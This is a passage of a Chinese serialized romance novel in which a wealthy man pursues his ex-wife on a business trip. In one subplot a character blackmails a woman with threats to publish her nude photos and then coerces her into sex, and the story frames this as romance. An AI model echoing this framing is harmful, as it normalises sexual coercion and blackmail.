好巧不巧,他从宋清殊房里出来,恰好和盛熙川走了个对面。
“沈嘉祐。”盛熙川叫他。
沈嘉祐驻足:“盛总好。”
他是上京人,对宋清殊和盛熙川的旧事有印象。今天看到盛熙川,还八卦了一下。
盛熙川走到沈嘉祐面前来。
他问得直接:“你和宋清殊什么关系?”
沈嘉祐脑子灵光,在这个时候更是飞速运转,想起了宋清殊和盛熙川在前台打的那两句机锋。
想来是盛熙川误会了,拿他当傍宋清殊的小白脸了。
人太鲜嫩也是烦恼。沈嘉祐自恋地想。
结合刚才宋清殊那个反应,他觉得宋清殊未必想让盛熙川知道实情。
于是,沈嘉祐给了一个模棱两可的答复——
“盛总觉得我们是什么关系,就是什么关系。”
第175章 开个价吧
盛熙川上下打量着面前的沈嘉祐。
面前的男人,和无数的男人一样普通,如果硬说有什么不同,也就是长相白净清秀一些。
他从来自负,换了以往,是绝不会把这样一个人放在心上的。
可这个男人给宋清殊拿包,在一分钟前刚从她房间出来!
有成见在先,沈嘉祐的话听在盛熙川耳内便成了挑衅。
“你是上京人?”盛熙川仗着身高优势,看谁都有点居高临下的意思,他点了根烟,假装自己很松弛。
沈嘉祐回是。
“那你对我和宋清殊的关系应该不是完全不知情吧?”
盛熙川声音不高,态度也不算太差,但压迫感实在是太强。
以至于沈嘉祐自己都在心里犯嘀咕,到底在怕他什么。
“知道一点,但这些跟我无关。”他强撑着说。
的确无关,他只是宋清殊的下属。
但因为有前面那就模棱两可的话在先,这话听上去也像挑衅。
在盛熙川耳中,这话的意思是:“我不在乎她的过去,她现在是我的就好了。”
醋意在心里翻涌,盛熙川垂着的那只手紧紧握拳,才让自己心平气和。
他从来没想过自己有一天能说出这种话,可他说了:“你要什么,开个价吧。”
他不是物化宋清殊,他物化的是他自己。
电视上会出现的霸总剧情发生在自己身上,沈嘉祐有点不敢相信自己的耳朵。
是他理解的那个意思吧?
要不是盛熙川气场太强太吓人,他高低要跟他演一演。
“盛总什么意思?我没听懂。”
盛熙川把手里的烟按熄在垃圾桶里,之后再跟沈嘉祐说话,甚至刻意带了几分平易近人的客气。
“沈先生,我和宋清殊的确分开过几年,但我还爱她,不仅如此,因为这四年的分离,我对她的心意更加笃定。
我知道,宋清殊这么有魅力,或许你对她的感情也很深,我这么说有些强人所难。但沈先生哪怕没有宋清殊,也会有更好的选择。可我不一样,如果没有她,我的人生很难继续下去。
所以,沈先生,你高抬贵手,开个价,好不好?”
他向来高傲,要不是为了宋清殊,也不能这样低声下气。
这个举动,在盛熙川眼里,已经给足了沈嘉祐面子。
他要钱,要权,给他就是。
但他要是得寸进尺,他也只能先礼后兵了。
看着盛熙川瞬间做小伏低的模样,沈嘉祐已经傻掉。
他现在很难收场。
如果说自己跟宋清殊没什么关系,盛熙川会不会觉得被他戏弄了?
可如果继续演下去,下一秒,他怕盛熙川拿出一张五百万的支票来。
他拿了今晚跑路,也不知是否来得及。
沈嘉祐脸上的神色千变万化,还没找出一个合适的反应。
一个声音响起:“嘉祐,你回去休息吧,我来跟盛总说。”
沈嘉祐和盛熙川同时望过去,宋清殊正环抱着双臂,站在不远处。
她脸上的神情也很精彩。
沈嘉祐不知道宋清殊有没有误会,他眼睛转了转,试图解释两句。
宋清殊朝他安抚地笑笑:“去吧。”
沈嘉祐走了,走廊里剩下宋清殊和盛熙川两人。
盛熙川神情有点尴尬,干咳了一声。
“你什么时候来的?”
宋清殊:“在你让他开价的时候。”
盛熙川:“……”
地缝在哪儿?他好想逃。
“盛熙川,我真想知道你预算多少。”宋清殊皱着眉,神情相当无语,“我是个什么物品吗,你让人开价?”
盛熙川垂着眼,脸上有一闪而过的慌乱。
不知怎么,他的神态让宋清殊莫名想起被主人训斥的大狗。
她没那个自信能驯服盛小爷,当然,他那番话她倒是听到了。
男人上头的话不可信,当时两人在床上如胶似漆的时候,他还要摘天上的星星给她呢。
不是,好好的,怎么想到床上去了。
宋清殊皱眉,把脑子里不干净的东西赶出去。
盛熙川的慌乱只是那么一瞬间,此时,他又恢复了运筹帷幄的模样。
“可我跟沈嘉祐提让他开价的时候,他犹豫了。”他甚至开始强词夺理,“他并没有那么坚定地选择你
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,宋清殊。”
宋清殊要被气笑。
“他当然不坚定选择我,因为他已婚,孩子都会打酱油了。他选我,自己的老婆孩子怎么办。”她真的没忍住笑了。
盛熙川瞬间明白过来,他向前一步,拉近两人的距离:“跟我玩套路是吧?”
宋清殊正色:“是你自己误会了。沈嘉祐只是我下属,你不要找他麻烦。但我有男朋友这事是真的,他人在国外,我们聚少离多。”
现在,她对这个不存在的男朋友已经有了比较完备的人物画像,根本不怕盛熙川细问。
盛熙川盯着宋清殊,眼神一寸不让。
他胸口上下起伏良久,吸了口气,才说:“我不会放弃的,宋清殊。只要我活着,你只能是我的。”
宋清殊懒得跟他就这个无聊的问题再争论。
“我要睡觉了,再见。”
她转身回房间去。
盛熙川强压下想拦住她的心思,任凭她在自己面前走掉。
不见面的这一个多月里,盛熙川以为他早就劝好了自己。
爱一个人,有什么比心甘情愿放手,看着她幸福更无私更真挚的表达呢。
毕竟,他用了四年在学如何放手,也真的以为自己早已放下。
谁知他做的所有努力在见到宋清殊后尽数失效。
连让自己看上去豁达些都很难做到。
盛熙川不想再跟自己的心对抗了。
宋清殊会幸福的,但是幸福一定要他来给。
这种咫尺天涯的日子,他过够了。
看着眼前合上的门,盛熙川的心脏剧烈抽痛,他闭了闭眼睛,极力稳住自己。
再睁开,便已经恢复清明。
这事苏白不行,毕竟有楼珏这层关系。
他打林远洲电话。
“远洲,你得帮我。我记得当年你追阿贤很轻松。”
林远洲大晚上接到盛熙川电话,被他没头没尾来了这么一句,竟然听懂了。
“我当年追我老婆主要靠的是真诚。”林远洲说。
他没撒谎,那时为了孟令贤,他可没少做傻事。
“但你和宋清殊现在的问题很大,感觉真诚和套路得混着来。”
第176章 套路
但具体什么套路,林远洲也没想好。
“反正多创造点见面机会吧,见面三分情,宋清殊多见见你,万一上头了呢。”他说。
又看一眼枕边,压低声音,“我老婆睡了,这事儿感觉还是我老婆点子多,等明天早上我问问她。”
林远洲是有名的老婆奴,众所周知,林远洲在昌鑫是拿月薪的,刚结婚就把名下股份全部转给了孟令贤。
孟令贤也的确是好样的,嫁到林家后,也没见做什么,却让昌鑫的业绩稳步上升,没几年市值就翻了翻。
他们夫妻,是有名的琴瑟和鸣,伉俪情深。
盛熙川当初愿意跟昌鑫合作,分一杯羹,也是看中了这点。
不知为什么,一看到两人的相处,他就会想宋清殊。
如果他当时没有那么作,他和宋清殊也该人人艳羡吧?
盛熙川一夜没睡好。
宋清殊倒是还行,她跟沈嘉祐一起吃了不少东西,胃里很满足。盛熙川这件事,也权当个笑话看,倒是没怎么影响睡觉。
第二天,她在活动现场又远远地看到了盛熙川。
不过盛熙川身边围了一圈阿谀奉承的人,倒是无暇顾及她。
宋清殊刻意离盛熙川远远的。
后来,她带着莫兰溪和沈嘉祐去见了那位目标客户。
客户人不错,虽然没有明确要合作,但也跟宋清殊交换了联系方式,约她活动结束后到公司去谈。
也算是有了初步进展。
下午开会的时候,一个人在她身边。
起初宋清殊没注意,埋头做重点内容记录。
“清殊,这么巧!”一个女声在耳畔响起。
宋清殊转头,便看到了孟令贤。
依稀记得上次见面孟令贤还叫她宋小姐的。
宋清殊对她点头,算是打过招呼。
她对孟令贤和盛熙川联合骗她的事很不爽,但到底是客户夫人,总不好真的甩脸子。
而且孟令贤的确是女人会喜欢的那种女人,长得很明艳大气,看上去性格也不矫情。
要是她不帮着盛熙川发疯,宋清殊倒觉得她们可以是朋友。
孟令贤无心听会,不仅不听,还要继续跟她小声聊天。
“清殊,你是不是生我气了?是我多事,看熙川单相思实在可怜。”
她明明是被盛熙川利用,何其无辜,却偏要把责任揽到自己身上。而且上来就把话说透,搞得宋清殊更不好发作。
“林夫人不过是不知全貌,好心办了坏事。”宋清殊只好说。
孟令贤是个很会顺着台阶下的人,一听这话,马上眉眼弯弯:“你不生气就好,不过别叫我林夫人呀,太生分了,我比你大,你叫我贤姐。”
宋清殊依言,老老实实叫了。
又过了一会儿,她那位目标客户顾总也看见了孟令贤,居然凑了过来。
顾总热情地给孟令贤送水,又一通嘘寒问暖。
之后,才笑着对宋清殊道:“没想到您和阿贤也是朋友,真有缘分。
这样,晚上我做东,请远洲阿贤夫妇,宋总也来,咱们四个好好聊聊。”
宋清殊不是没想过孟令贤的出现也是盛熙川的诡计,可和顾总同桌吃饭是推进合作的大好机会,实在有点舍不得推,也没有理由推。
真要是让陆氏那几个“总”们知道她错失这样一个机会,非闹得人尽皆知不可。
可顾总是不可控的,谁也不能保证,他不会把邀请她吃饭被拒的事说出来。
宋清殊一会儿想,盛熙川如果拐这么多弯只为跟她吃顿饭,太麻烦,
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沉没成本也太高了。兴许是她自作多情,想太多。
一会儿又想,盛熙川那个人惯会小题大做,他也不是干不出这种事来。
可这些都不足以支撑她拒绝这个饭局,毕竟顾总是真的在,盛熙川只是她预设的困难。
而且盛熙川左不能搅黄她的合作,只会助一臂之力。
真又要欠他人情,大不了厚着脸皮不还就是了。
于是,宋清殊答应了下来。
时间到了晚上,她提前跟郭霍宗辞报备了一声,又跟莫兰溪和沈嘉祐打好了招呼,便去了饭局。
还好,没有盛熙川。
只有顾总,林远洲和孟令贤。
宋清殊觉得自己简直有点小人之心。
盛熙川不在,她高兴到有点亢奋,话都比平时多了一些。
饭桌上也基本把要去公司谈的合作定了。
吃完饭后,孟令贤提议转场,四人便找了家清吧。
盛熙川是在很后面才来的,宋清殊看到他时,已经酒过三巡,眼前带了点重影。
她喝上头了,说话便也没那么礼貌,似笑非笑看了一眼林远洲孟令贤夫妇。
“我就知道在这儿等我呢。”
再看顾总时眼神也犀利了起来,“顾总,这合同你一定会签吧?”
这三人面面相觑,都有点心虚。
“当然,我很看好陆氏,也很看好宋总。”顾总说。
宋清殊寒气森森笑了一下:“那你们三个任务完成,可以走了。”
“清殊,抱歉。”孟令贤竟然生出了几分背刺宋清殊的愧疚,眼神不忍。
“愧疚的话,到时候多给我开绿灯吧。”宋清殊说,无所谓地摆了摆手。
那三人果然走了。
留宋清殊坐在桌前,冷冷淡淡等着盛熙川过来。
第177章 不要抱抱
宋清殊自认为眼神杀气腾腾。
事实上,在酒精的渲染下,她双颊绯红,一双眼睛更是带着迷离的水汽。
盛熙川一路走过来时,便看得心口扑通乱跳。
他在宋清殊面前坐定,不错眼地看她。
“你目标达成了,开心吗?”宋清殊问他,语气很冷。
盛熙川痴迷地看着她,眼神宠溺,声音也放得很轻:“开心。”
宋清殊扯了扯唇角:“有大病。”
盛熙川:“嗯。”
他早就病入膏肓了。
“你这么干,只会让我把对你仅剩的那点好感消耗殆尽,起不了一点正向作用。”宋清殊又说。
她合同落实了,却依然一肚子火气,有种被迫为事业献身的**感。
喝了酒,强压着的那点怨气也压不住了,语气又直又冲。
“所有人都会觉得,我宋清殊一点能力都没有,做事只会靠男人。靠男人不说,还靠的是前夫。
盛熙川,你觉得你在帮我,其实,你这些举动,把我的努力都一笔勾销了。”
桌上的瓶子里还剩了些酒,她拿起来,直接对瓶猛灌了一口。
盛熙川原本激越的心,又猛地沉下去。
他以为帮她拿到想要的,她会开心,确实没想到这一层。
“小宝。”他去夺她的酒瓶,有些慌乱,“你知道我不是这个意思,我只是想让你高兴。”
果然人不能急,急就会出岔子。他确实考虑得不周全。
宋清殊赌气:“不看到你,我最高兴。”
盛熙川哪里敢争辩。
“是我不好,以后多注意,好不好?”
宋清殊倔劲上来,不依不饶:“所以你今天兴师动众,又是想干什么?”
盛熙川苦笑:“还能做什么,创造个见面机会罢了。”
“如今人你也见到了,我可以走了吗?”
……“当然。”
盛熙川先识趣地站起身来。
宋清殊又冷笑了一下,起身离开。
她喝了不少,但脚步还算稳。
一直到出了酒吧的门,夜风一吹,酒劲才慢慢上来。
宋清殊开始腿软。
她便放慢了脚步,一点点往前挪动。
这时,一个染着黄毛,打扮得花里胡哨的男人走过来。
“美女,一个人啊?”
些许是看出了宋清殊的醉意,他靠得有些近,还试图伸手扶她。
宋清殊退后一步,定定地盯着他:“让开。”
换做平时,她的眼神还有点威慑力,可现在一汪春水,瞪了反而让人遐思。
“别这么冷淡嘛。”那人说,伸手要搂她的肩,“哥哥送你回家,好不好?”
宋清殊声音不大,但字字清晰:“让开,不然你这只手今天也就废了。”
“哟哟哟,吓唬我是不是?”那人竟然笑了起来。
身后不远处应该是他的同伴,也跟着他笑出声来。
“看着这么乖,没想到是个小辣椒!”
“就是这样的才够劲呢!”
宋清殊心里恐惧,面上铁板一块:“我再给你一次机会,三,二……”
那人笑得更加浮夸,直接伸手搂住了她。
“小东西,真有意思,你还倒计时了。三二一,怎样呢?你该不会觉得能把我胳膊掰断……哎哟!”
话没说完,那人已经惨叫一声,倒在了地上。
盛熙川又踩住了他的脖子。
他也不知是什么路数,每次打架都会踩人脖子。宋清殊暗想。
刚才宋清殊只是下意识觉得盛熙川会在,但并没有看他跟出来,也悬着心呢。
此时,盛熙川真的来了,她一颗心才慢慢落回肚里。
那人的两个同伴还想上前,只听被踩在地上的黄毛惨叫得越来越厉害,都有点怕了。
“放开他!”其中一个壮着胆子说。
盛熙川看向宋清殊:“他应该只断了右手,左手还要吗?”
宋清殊神态平静:“够了。”
盛熙川这才松开脚。
那人躺在地上哀嚎,一动都不敢动。
“我们要报警!”那人的同伴喊道。
盛熙川无比冷漠:“随意。”
待他看向宋清殊,眼神又柔软了下来。
“你能走吗?”
宋清殊点了点头,跟着他一步步慢慢往前走。
她刚才喝了不少,那些酒的后劲儿大,酒意一点点上涌,醉得也更厉害了一些。
尽管这样,依然能想起刚才跟盛熙川发了一通牢骚。
刚说完自己也有能力,不需要他帮助,出门就打了脸。
挺没面子的。
盛熙川走在前面,宋清殊在后面跟着,脚步越来越慢。
她摇摇晃晃,想倒。<
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br>盛熙川站住,转身看她:“如果一会儿你觉得冒犯,那我先道个歉。”
眼下宋清殊的反应已经变得迟钝。
她嘴唇微启,神情却懵懂地像是没听懂他的话。
“什么……”
此时,盛熙川已经弯下身子,就要将她打横抱起来。
“不要抱!”她躲了一下。
带了醉意的声音有点娇。
盛熙川心跳纷乱,压着嗓子跟她商量:“不抱,那你趴我背上,我背着你,好不好?”
宋清殊实在虚软,她半眯着眼镜想了一下,竟然点了点头。
于是盛熙川微微弯腰,又伸手一托,竟然真的把她背了起来。
从酒吧回住处不近,盛熙川没有叫车,宋清殊竟然也没有察觉出什么不妥。
她伏在盛熙川身上,闻到他的气息,莫名安心。
好像刚才两人的龃龉根本不存在一样。
“你身上的香水是不是特调的?”她的头软绵绵靠在他肩上,突然问。
盛熙川没有回答是或者不是,只是同样嗓音软软地反问她:“喜欢啊?”
“嗯。”宋清殊倒是没有醉到说出“珍珠也喜欢”的话来。
“是特调的,回头送你一瓶。”盛熙川说。
他异常珍惜这样的时刻,每一步都走得很慢。
但宋清殊倒没什么话说了,她昏昏欲睡,趴在盛熙川背上,一点点往下滑,后来竟然真的睡着了。
她几次往下掉,盛熙川便由背着改回了公主抱。
温香玉软抱满怀,盛熙川的心又开始发燥。
他想起两人在一起时的无数日夜,那些抵死缠绵的时刻。
她本就是他的,哪里有别人的事。
如果当时不是他不懂爱又恣意妄为,怎么会把她弄丢,一走就是四年。
如今,造化弄人,既然她回来了,他就再也不会放手。
燥意伴随着心口的疼痛,盛熙川连脚下的步子都沉重起来。
至少走了有一公里的路,小赵开车不远不近地跟着。
夜风吹来,实在是太冷,他才不得不对盛熙川道:“老板,上车吧。您身体好,万一太太生病了,可不是小事。”
私下里,小赵和杨端还是称宋清殊为太太的,男人更懂男人,他们早就看懂了盛熙川要什么。
盛熙川这才抱着宋清殊上了车。
第178章 莫兰溪的把柄
宋清殊睡了一个很沉的觉。
待她惺忪地睁开眼,入目是一片黑暗,窗外是停车场的微弱光亮。
她缓缓眨眼,混沌的脑子获得少许清醒。
她记得自己在酒吧里,之后盛熙川来了,再之后,好像有个黄毛搭讪,别的就没什么印象了。
那三个人为了给她和盛熙川创造机会,点的酒度数都不低。
那她……借着微光缓缓打量自己身上的衣服,脑袋一偏,便看到了枕在下面的长腿。
烟灰色西裤上,还带着一滩暧昧不明的水渍,大概率是她的口水。
她转动眼珠,看见一道无比清晰的下颌线,再往上,是形状优越的鼻梁,和一双一瞬不瞬盯着她看的,幽深的眼睛。
宋清殊倏地一下坐起身来,她的头撞在盛熙川下巴上,发出一声闷响,两人同时“哎哟”一声。
盛熙川大手一捞,才免于她摔到座椅下方,二次受伤的命运。
他按开了顶灯,两人借着车内的灯光,沉默对视了几秒。
接着,宋清殊迅速挪了一下屁股,坐远几寸。
她那个模样,像一头受惊的小鹿。
盛熙川盯着她,心软得厉害。
“你怎么不叫我?”宋清殊问。
她心跳得特别快,清醒了一点点的脑子,又开始混沌。
盛熙川扯了张抽纸,垂着眸擦了擦裤子上的水渍。
“你睡太沉了,叫不醒。”
单听这句话没什么问题,配合这个动作……宋清殊的脸迅速红了起来。
“抱歉。”她揉了揉太阳穴,就要下车。
落地后,依然脚下发软,走路直飘。
盛熙川迈开长腿,两步追上,在她面前扎了个马步。
“上来吧。”他说。
宋清殊:“……算了,不太好。”
“别装,你刚从酒吧出来可是哭着喊着非要我背不可的。”盛熙川回头看她,“不信的话,我让小赵回去调监控。”
……行吧。
宋清殊又乖乖趴上去,跟他商量:“那你出电梯就放我下来。”
盛熙川含笑:“好。”
嘴上这么说,可盛熙川走起路来,小幅度晃动,宋清殊又昏昏欲睡。
她一直到被安置在房里,都没有彻底醒透,强睁着眼皮看了看周围的环境,又阖上了。
她甚至没关注到回的不是自己房间。
此时,已经是凌晨。
宋清殊也没有洗漱,就这样睡了。
乱七八糟做了一夜的梦,梦境已经不太清楚了,但她似乎一直走在清晨的松林里,鼻尖萦绕着冷松香。
她在车里睡觉时,莫兰溪被霍宗辞叫走。
霍宗辞提前处理完了他的事,又过来海城了。
他来他们入住的酒店,找了莫兰溪,才得知宋清殊跟顾总和林远洲夫妇吃饭去了。
他们在走廊说话,好巧不巧,又遇到了回酒店的林远洲和孟令贤。
简单聊了两句,霍宗辞问起宋清殊,这夫妻俩便告诉他,宋清殊正和盛熙川在一起。
林远洲显然是故意的。
“他们久别重逢,有很多话要说,我和阿贤不便打扰,便提前回来了。”他说。
霍宗辞气得太阳穴突突直跳,把一肚子火又撒在了莫兰溪身上。
“陪我去吃个宵夜,正好聊聊这几天的工作。”他说。
莫兰溪习惯早睡早起,便有点不情愿。尽管如此,她还是去了。
两人找了一家24小时营业的特色小馆,点了一些简单的小菜和酒。
霍宗辞嘴上说饿,根本没吃几口。
莫兰溪原本就不饿,又面对这么个瘟神,就更食不下咽。
看霍宗辞不怎么吃,莫兰溪便简单汇报了一下白日里跟顾总沟通的进展。
可霍宗辞明显听得心不在焉,她又慢慢闭了嘴。
“莫兰溪,帮我个忙。”霍宗辞给自己倒了杯酒,抿了一口突然说。
莫兰溪用眼神打了个问号。
“帮我追宋清殊,条件你提。”
莫兰溪垂眼,好像多了一层睫毛的遮挡,能让自己更有安全感。
她坐得更加端正,将手握拳放在膝盖上,“抱歉霍总,我没那么大本事,也不会这样做。”
自从进入陆氏起,莫兰溪做什么都游刃有余,唯独和霍宗辞的相处,让她觉得压力巨大。
她不是他的助理,没必要受这个委屈。<
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br>她想起身。
霍宗辞也垂眼,把玩着手里的酒杯,看似漫不经心,一双眼睛,却透过玻璃瞄准了她。
“如果,我说我手里有你的把柄呢?听澜。”
“听澜”二字,让莫兰溪脸上有一闪而过的慌乱。
“我不知道您说什么,霍总。”
霍宗辞的手穿过桌面,将莫兰溪散落在眼前的刘海拨到耳后去。
“也不知道这样平平无奇的一张脸,当年是怎么让我鬼迷心窍,把卡里所有钱都给你的。”
莫兰溪抿紧了唇,坚持说:“我听不懂您在说什么。”
霍宗辞拿出手机,翻找着什么,之后,“啪”的一下摆在莫兰溪面前:“当年你设计仙人跳骗我,拍的那个视频,我可还留着。那时候你多大,成年了吗?”
莫兰溪四肢百骸都在发冷,她脸上的血色一瞬间褪得干干净净。
她不敢看他的手机,却感觉霍宗辞不是在诈她,他应该找到了充足的证据。
果然,霍宗辞接下来说的话,更是让她全身的血液都凝结了。
“我找到了当年的那个老板娘,是她替你搭的桥。”
莫兰溪沉默了5分钟。
五分钟后,她喃喃开口:“后来我把那笔钱打回了你的账户,你应该也收到了。”
那时她面临被父亲卖给那个老板娘做皮肉生意,急需一笔钱逃出去,便盯上了霍宗辞。
她如今还记得,他们**后,她找他要钱,霍宗辞诧异的神情。
“我以为我们在谈恋爱。”他说。
却还是把自己卡里全部的钱转给了她,五万块。
那时候他已经不是高官家的大少爷,这个钱对他来说也不是小数目。
但这件事发生后,很快莫兰溪就拿到了陆夫人的资助,在一年内她又把那笔钱匿名转给了霍宗辞。
没有留言,但她觉得霍宗辞能猜得出来。
果然,霍宗辞冷笑一声:“所以呢,这件事就一笔勾销了?”
莫兰溪迅速低下头,不敢说话。
霍宗辞伸手捏住她的下巴,强行逼她看他的眼睛。
“莫兰溪,这件事带给我的**,是钱能解决的吗?”
第179章 专心点,听澜
霍宗辞向来骄傲,他的家世,容貌,头脑,哪一样都是顶尖的。
而面前这个女人,除了气质比普通人独特一些,什么比得过他?
偏偏她对他狠得下心,骗了钱一去不回。
他想起来就气不顺!
莫兰溪绞紧手指,无话可说。
霍宗辞手上用力,直到捏了个红痕出来:“当**,我有你拍的视频证据,也有证人。随时都可以把你送上法庭,让你,和你表姑颜面扫地。”
见莫兰溪露出害怕的神色,他心里竟然涌起变态的快感,冷冷一笑:“再不济,我也可以把你的裸照发到网上去,你说对不对?”
莫兰溪双手握住霍宗辞放在她下巴上的手,冰冷的触感让霍宗辞眉头皱得更紧。
“霍总,我听话,以后我就是您的人。”她的小手发抖,神情里有乖顺的讨好,“只求您一件事,能不能不要伤害宋清殊?”
“哦?”霍宗辞眼里闪过一丝兴味,“你似乎很在意她。”
莫兰溪:“她是姑姑的干女儿,而且人真的很好。”
霍宗辞没有回答她好或者不好,只是哂笑道:“你自己都自身难保了,就别管别人了。”
莫兰溪咬着唇,控制情绪。
霍宗辞先站起来:“走了,吃饱了。”
莫兰溪跟上,在他身后一言不发。
那个老板娘霍宗辞的确是找到了,但他还没有来得及问。今晚不过诈一诈莫兰溪,结果,她做贼心虚,一步步掉入了他的陷阱里。
这个女人,应该也没干过什么坏事,结果一做就是一票大的,也不知胆战心惊了多少年。
她从他这里敲诈走的钱,很快打了回来,霍宗辞去查那个账户的时候,已经注销了。
本以为这辈子她都不会出现了,造化弄人。
霍宗辞走在前面,眼神一片幽暗。
他在笑当年的自己,怎么就对这么一个平凡的女孩上头了。
莫兰溪有什么?
没有多漂亮,起码比他差得远。
嘴巴也不甜,那么沉默。
床上功夫……呵,她什么也不会,任他平本能摆弄。
一想起来,霍宗辞脚步加快,燥得厉害。
两人回到酒店,霍宗辞还没有办入住。
“你住哪间?”他停下脚步问莫兰溪。
莫兰溪连嘴唇都白了:“霍总,宋总不能接受乱来的男人。”
霍宗辞低头,贴近她的耳朵:“接受不接受的,我也不是童男子了,你说呢?把我第一次夺走了,还骗我钱,我收点利息,不过分吧?”
霍宗辞的话听在莫兰溪耳内简直是恶魔低语,她绷紧了神经,尽可能让自己声音四平八稳:“我都答应了帮您追宋总,还不行吗?”
霍宗辞:“你觉得,你这个骗子该有话语权吗?”
莫兰溪被霍宗辞半拖半抱着到了她的房间门口。
虽说这边酒店,只有宋清殊和沈嘉祐两个人认识他们,她还是被吓得心脏狂跳。
不得不开了门放霍宗辞进去。
一进门,她便被霍宗辞压在了墙上。
带着点酒气的吻落下来时,莫兰溪懵了。
她挣扎了几下,便被他追得更紧。
她的舌尖被吸得发麻,嘴唇也被他惩罚性地咬了个口子出来。
一直到被压在床上,脸埋进酒店雪白的枕头里,莫兰溪的脑子还是一片混乱。
是怎么发展到了这一步?
到底是哪个环节出了问题?
她骗霍宗辞钱的时候,的确只有十几岁。
如今她二十五,又留学多年,容貌上已经发生了很大的变化。
当时他们也不过一面之缘,时至今日,她实在不知道霍宗辞是怎么看出来的。
而且霍宗辞这是什么意思?一边要追宋清殊,一边跟她……
“专心点,听澜。”
她的后颈一痛,被霍宗辞咬了个牙印出来。
“别碰那里!”她紧张地低呼。
那个位置是很难遮住的,会惹出不必要的麻烦。
“呵。你还是想想退房的时候怎么解释用了一盒套子吧。”霍宗辞的唇又挪到了她的耳垂上。
莫兰溪脸埋在枕头里,看不到霍宗辞的表情,但她能脑补他说出这话时的神情,一定是讥讽又厌恶的。
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她的眼泪洇湿了枕头。
霍宗辞的手撑在她的头边,兴许是摸出了湿意,兜住她的腰,将她翻转过来。
接着,便看到了两行清泪。
霍宗辞没停,但他开始吻她的眼睛,动作也轻柔了下来。
她用来营造安全感的黑框眼睛,早就被他扔在了床头。
“有你这样的吗?自己做了坏事,还要别人哄。”他咬牙切齿。
莫兰溪不说话,也说不出什么来,她的神志渐渐被欲望淹没,一点点投入了进去。
当晚,霍宗辞在莫兰溪房内留宿,到早上才去前台另开了一间。
而宋清殊醒来时,也察觉出了异样。
这间房比她住的那间还要大一些,卧室多了一个写字台。
她慢腾腾起身,往外走去,盛熙川赫然睡在外间的沙发上。
她昨夜的酒算是醒透了。
“醒醒!”她抬脚,踢盛熙川搭在沙发上的小腿。
盛熙川揉揉眼睛坐起来。
他看上去很疲惫,显然没睡多久。
“我怎么在你房里?”宋清殊问。
盛熙川泰然自若:“你睡得太死,又没带包,我总不能从你裤子口袋里掏房卡。”
宋清殊看了看自己身上的衣服,已经皱成了一团。
盛熙川还挺君子的,没有趁人之危。
“行吧,那多谢你照顾我。”她开门要走。
一开门,正好碰上拿着个文件袋的吴小爱。
吴小爱看上去比盛熙川更疲惫,头发凌乱,风尘仆仆的。
她见宋清殊在盛熙川门口,诧异地瞪大眼睛。
盛熙川站在宋清殊身后,先发制人:“回来的这么快,是坐绿皮火车吗?”
吴小爱脸色比吃了屎还难看。
“老板,绿皮火车在几年前已经取消了,我坐的最慢的一趟,硬座。”她态度倒是很恭顺。
宋清殊听不懂两人的话,莫名其妙地看了看他们,快速离开了。
她和霍宗辞,莫兰溪和沈嘉祐是中午在餐厅汇合的。
除了沈嘉祐,另外三个都顶着黑眼圈,状态很差,莫兰溪脖子上还贴着个创可贴。
第180章 姻缘殿
“你脖子怎么了兰溪?还有,嘴也破皮了。”宋清殊看莫兰溪不对劲,出言关心道。
莫兰溪黑框眼镜后有一闪而过的尴尬,之后,面无表情拿出准备好的说辞:“脖子被蟑螂咬了一口,我自己又不小心给抓破了,贴个创可贴防感染。
嘴是怎么回事我也不知道,估计上火了吧。”
这话骗别人不太行,骗宋清殊可太行了,她这方面经验少,又空窗四年,根本不会往那方面想。
果然,宋清殊道:“这边蟑螂比上京的大多了,还会飞,真的挺可怕,也不知道咬人会不会有什么细菌,不行下午去医院看看吧。”
莫兰溪:“不用,昨天不舒服,今天已经好多了。”
一旁的沈嘉祐不知是没发现还是不关心,总之没什么反应,倒是霍宗辞从鼻子里嗤笑一声。
莫兰溪做贼心虚,迅速垂眼。
等再抬起眼来,霍宗辞已经跟宋清殊聊起了工作。
宋清殊也说了一下顾总的事,那边已经把合同发过来了,应该没什么问题。
“把华瑞拿下,你在陆氏就站得更稳了。”霍宗辞说。
一段时间的共事下来,他对宋清殊刮目相看。
果然,柔弱只是她的保护色,她的确有强大的内核。
不怕苦不怕累,工作能力也很不错。
陆氏交给这样的人,陆先生的心血才不会毁于一旦。
宋清殊笑了笑,并没有居功:“小叔基础打得好。”
不管是林远洲,还是这位顾总,能跟她合作都有盛熙川的这层关系在。
虽说成大事者不拘小节,可到底赢得不是那么畅快。
宋清殊暗想,还是要想办法跟盛熙川说清楚。
她隐约记得自己醉酒前好像提了一嘴,当时盛熙川还有点委屈。
但具体情形,她已经记不起来了。
宋清殊为人克制,很少喝醉,上一次还是四年前跟楼珏为了御龙湾的项目。
她也是被盛熙川带回了家。
也是在那一次,盛熙川做了青菜粥给她。
还因为那串粉钻手链吃了干醋,生了后面诸多事端。
时隔一千多个日夜,再想起这些事,真的跟做梦一般。
他们在海城逗留了将近五天,两天参加行业活动,后两天一直在客户的工厂考察,对接。
定的第五天下午返程,霍宗辞准备上午要去趟法华寺,约宋清殊一起。
宋清殊下意识拒绝。
“这几天太累了,休息半天,不然下午赶飞机都没精神。”
她借口也算充分,霍宗辞没说什么。
晚上莫兰溪去宋清殊房间沟通工作,却劝她:“倒是可以去一趟,法华寺有菩提十八籽的手串,特别漂亮,请一串给珍珠,她一定会喜欢。”
宋清殊犹豫,跟莫兰溪实话实说:“公司有人传我和小叔闲话,挺难听的,我不想跟他有私人行程。”
莫兰溪是个一点就透的,偏偏此时任务在身,只能装听不懂:“也许因为我是你助理,没人敢跟我说这些吧,我倒是没有听到过。”
宋清殊:“还是避嫌的好。”
莫兰溪试探:“你对霍总……”
宋清殊:“一点别的心思都没有,不瞒你说,我甚至之前怀疑他不是直男。”
那倒不用怀疑。莫兰溪在心里嘀咕一句。
“你要是觉得不合适,我叫上沈嘉祐也一起。这样的话,权当咱们四个给已故的陆总祈福了。”
这是个让人难以拒绝的理由,何况,听到十八籽手串,宋清殊真的心动了。
目的达成,莫兰溪从宋清殊房间出来,并没有松口气的感觉,她反而更加不安。
她没有马上回自己房间,而是下楼,去酒店外吹了吹冷风,闲逛一圈。
事情的发展开始不受控制起来。
尽管和霍宗辞做过最亲密的事,莫兰溪却不相信他是个好人。
可陆夫人对她有恩,她不能害了宋清殊。
莫兰溪觉得困扰。
她在酒店楼下闲逛,遇见刚回来的盛熙川。
她正要开口打招呼,盛熙川先叫住她。
“宋清殊这两天状态如何?没感冒吧?”他问。
毕竟她喝酒那天晚上在外面吹了凉风,盛熙川多少有点不放心。
